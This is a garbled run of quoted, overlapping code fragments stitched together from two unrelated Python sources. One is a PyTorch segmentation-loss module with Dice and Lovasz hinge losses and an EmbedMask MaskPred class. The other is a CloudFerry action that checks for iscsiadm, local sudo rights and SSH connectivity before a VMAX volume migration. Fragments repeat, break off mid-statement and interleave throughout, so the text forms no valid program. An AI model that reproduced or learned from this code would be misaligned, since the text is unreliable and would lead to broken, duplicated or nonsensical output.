1: # cover", "0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"]", "0 return logits.sum() * 0. signs = 2. * labels.float()", "x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection", "torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE", "target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst,", "> 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] -", "Lovasz hinge loss logits: [P] Variable, logits at each prediction", "logits.sum() * 0. signs = 2. * labels.float() - 1.", "= gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts", "functional as F from torch import nn from torch.autograd import", "proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride", "Lovasz extension w.r.t sorted errors See Alg. 1 in paper", "loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg):", "- jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz", "torch import nn from torch.autograd import Variable from adet.utils.comm import", "errors See Alg. 1 in paper \"\"\" p = len(gt_sorted)", "* 0. signs = 2. * labels.float() - 1. errors", "pixels, the gradients should be 0 return logits.sum() * 0.", "instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds", "grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def", "self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self,", "2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h,", "MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride", "from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps =", "= len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0)", "0. signs = 2. * labels.float() - 1. errors =", "should be 0 return logits.sum() * 0. signs = 2.", "def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t", "\"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type", "def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin =", "[P] Variable, logits at each prediction (between -\\infty and +\\infty)", "* proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride %", "+ (target ** 2.0).sum(dim=1) + eps loss = 1. -", "target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union", "self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1]", "def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P]", "- gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard", "- logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True)", "gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p", "= mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else:", "= (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var *", "only void pixels, the gradients should be 0 return logits.sum()", "== 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return mask_prob", "- x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i],", "= 1. - intersection / union if p > 1:", "= pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum()", "each prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary", "import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst", "x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i]))", "lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t sorted", "lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable,", "0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob", "def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x", "eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1)", "class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS", "descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted)", "for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return", "Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst", "dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed =", "See Alg. 1 in paper \"\"\" p = len(gt_sorted) gts", "gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union =", "import nn from torch.autograd import Variable from adet.utils.comm import compute_locations,", "= gts - gt_sorted.float().cumsum(0) union = gts + (1 -", "= target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union =", "self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return", "pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds", "torch.log(x) - torch.log(1 - x) losses = [] for i", "return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss", "(0 or 1) \"\"\" if len(labels) == 0: # only", "torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def", "* 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else:", "= pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks", "if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 +", "proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num,", "logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm", "0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0", "= proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin =", "for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {}", "= dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type", "2. * labels.float() - 1. errors = (1. - logits", "target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst,", "proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num,", "target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x", "0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return", "-1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) -", "self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride,", "MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels =", "1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed -", "self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if", "labels: [P] Tensor, binary ground truth labels (0 or 1)", "obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed", "= perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss =", "= torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm]", "gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss =", "self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for", "loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0:", "__call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1", "and +\\infty) labels: [P] Tensor, binary ground truth labels (0", "from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def", "if len(labels) == 0: # only void pixels, the gradients", "def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x", "= instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:]", "1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def", "2.0).sum(dim=1) + eps loss = 1. - (2 * intersection", "2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1.", "* labels.float() - 1. errors = (1. - logits *", "0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)", "intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient", "else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\":", "= torch.log(x) - torch.log(1 - x) losses = [] for", "loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob,", "* intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes", "1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =", "pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss", "-1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob =", "torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x,", "= torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps =", "torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed,", "-1) intersection = (x * target).sum(dim=1) union = (x **", "+ [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha", "eps loss = 1. - (2 * intersection / union)", "Binary Lovasz hinge loss logits: [P] Variable, logits at each", "from torch import nn from torch.autograd import Variable from adet.utils.comm", "\"\"\" if len(labels) == 0: # only void pixels, the", "= x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1)", "gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0:", "- 1. errors = (1. - logits * Variable(signs)) errors_sorted,", "= {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() *", "= torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module):", "(1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0,", "(x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss", "intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1)", "build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__()", "binary ground truth labels (0 or 1) \"\"\" if len(labels)", "elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask =", "\"\"\" Computes gradient of the Lovasz extension w.r.t sorted errors", "union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1.", "proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var", "m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2", "in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances)", "proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed", "\"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] =", "return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz", "= proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var =", "= (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) +", "n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst,", "mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type ==", "> 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob", "m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2,", "gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0)", "m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h,", "pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin", "+ pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob =", "gradients should be 0 return logits.sum() * 0. signs =", "= 2. * labels.float() - 1. errors = (1. -", "= torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses", "prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary ground", "mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask", "self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob =", "return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances,", "import functional as F from torch import nn from torch.autograd", "== 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() *", "\"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits at", "im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num =", "-1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1)", "self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self,", "= torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert", "Alg. 1 in paper \"\"\" p = len(gt_sorted) gts =", "losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return", "losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if", "m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0,", "union if p > 1: # cover 1-pixel case jaccard[1:p]", "1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1,", "/ union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of", "1 in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum()", "1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in", "= pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3," ]
[ "\"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except", "2.0 (the \"License\"); # you may not use this file", "(\"iscsiadm is not available on the local host. Please \"", "raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user !=", "LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null')", "'{dst_host}'. Make sure you have keys \" \"and correct configuration", "is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def", "dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null '", "import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action", "{user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg", "on these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}'", "host. Please \" \"install iscsiadm tool on the node you", "permissions and # limitations under the License. import getpass import", "config option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg)", "VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user =", "StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host)", "use this file except in compliance with the License. #", "host. Please either specify password in \" \"`local_sudo_password` config option,", "for NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self):", "self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "License. # You may obtain a copy of the License", "\" \"passwordless sudo does not seem to be configured on", "under the License is distributed on an \"AS IS\" BASIS,", "root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host", "'{user}' user, but \" \"passwordless sudo does not seem to", "License for the specific language governing permissions and # limitations", "_check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\", "msg = (\"No ssh connectivity between source host '{src_host}' and", "= self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host,", "ssh connectivity between source host '{src_host}' and \" \"destination host", "user, but \" \"passwordless sudo does not seem to be", "these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\")", "LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr", "exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root'", "def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host =", "try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between", "on the local host. Please \" \"install iscsiadm tool on", "ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No", "in compliance with the License. # You may obtain a", "backend for migration. iscsiadm is \" \"mandatory for migrations with", "\" \"and correct configuration on these nodes. To verify run", "software # distributed under the License is distributed on an", "\"`local_sudo_password` config option, or run \" \"CloudFerry as root user.\").format(user=current_user)", "specify password in \" \"`local_sudo_password` config option, or run \"", "_ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host", "\" \"destination host '{dst_host}'. Make sure you have keys \"", "between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user)", "to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if", "\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg =", "\"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host", "keys \" \"and correct configuration on these nodes. To verify", "be configured on \" \"current host. Please either specify password", "does not seem to be configured on \" \"current host.", "with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self):", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "= \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd)", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "prerequisites required for NFS to VMAX iSCSI cinder volume migration\"\"\"", "sudo does not seem to be configured on \" \"current", "option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise", "the License. # You may obtain a copy of the", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "to in writing, software # distributed under the License is", "verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host,", "# See the License for the specific language governing permissions", "local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not", "or agreed to in writing, software # distributed under the", "\" \"current host. Please either specify password in \" \"`local_sudo_password`", "required by applicable law or agreed to in writing, software", "src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd =", "VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "= (\"No ssh connectivity between source host '{src_host}' and \"", "migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def", "with the License. # You may obtain a copy of", "exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from", "not seem to be configured on \" \"current host. Please", "try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as", "required for NFS to VMAX iSCSI cinder volume migration\"\"\" def", "from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This", "logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from", "is running as '{user}' user, but \" \"passwordless sudo does", "compliance with the License. # You may obtain a copy", "agreed to in writing, software # distributed under the License", "if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try:", "the node you running on or \" \"choose other cinder", "= msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs):", "distributed under the License is distributed on an \"AS IS\"", "express or implied. # See the License for the specific", "= ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts}", "except in compliance with the License. # You may obtain", "Mirantis Inc. # # Licensed under the Apache License, Version", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "not use this file except in compliance with the License.", "iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed:", "password in \" \"`local_sudo_password` config option, or run \" \"CloudFerry", "writing, software # distributed under the License is distributed on", "you may not use this file except in compliance with", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "under the License. import getpass import logging from cloudferry.lib.base import", "is \" \"mandatory for migrations with EMC VMAX cinder backend\")", "EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user", "verifies prerequisites required for NFS to VMAX iSCSI cinder volume", "CONDITIONS OF ANY KIND, either express or implied. # See", "is not available on the local host. Please \" \"install", "governing permissions and # limitations under the License. import getpass", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import", "seem to be configured on \" \"current host. Please either", "src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null", "correct configuration on these nodes. To verify run \" \"'{ssh_cmd}'", "have keys \" \"and correct configuration on these nodes. To", "raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user", "local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action):", "\"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg)", "from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise", "OR CONDITIONS OF ANY KIND, either express or implied. #", "and # limitations under the License. import getpass import logging", "but \" \"passwordless sudo does not seem to be configured", "the License is distributed on an \"AS IS\" BASIS, #", "migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try:", "dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between", "connectivity between source host '{src_host}' and \" \"destination host '{dst_host}'.", "Please either specify password in \" \"`local_sudo_password` config option, or", "migration. iscsiadm is \" \"mandatory for migrations with EMC VMAX", "= (\"iscsiadm is not available on the local host. Please", "current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls')", "= remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no')", "To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg =", "def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and", "{opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError:", "law or agreed to in writing, software # distributed under", "not available on the local host. Please \" \"install iscsiadm", "--help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available", "user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user", "src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking", "raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return", "= self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user =", "cinder backend for migration. iscsiadm is \" \"mandatory for migrations", "= self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s'", "dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend", "cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try:", "getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None:", "'%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o", "may obtain a copy of the License at # #", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "Inc. # # Licensed under the Apache License, Version 2.0", "limitations under the License. import getpass import logging from cloudferry.lib.base", "\"choose other cinder backend for migration. iscsiadm is \" \"mandatory", "or \" \"choose other cinder backend for migration. iscsiadm is", "'%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts", "installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm", "may not use this file except in compliance with the", "and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg", "dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\",", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "\"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder", "run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host,", "this file except in compliance with the License. # You", "backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if", "the License. import getpass import logging from cloudferry.lib.base import exception", "LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax':", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "= self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh", "connectivity between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host,", "# # Licensed under the Apache License, Version 2.0 (the", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites", "def run(self, **kwargs): if 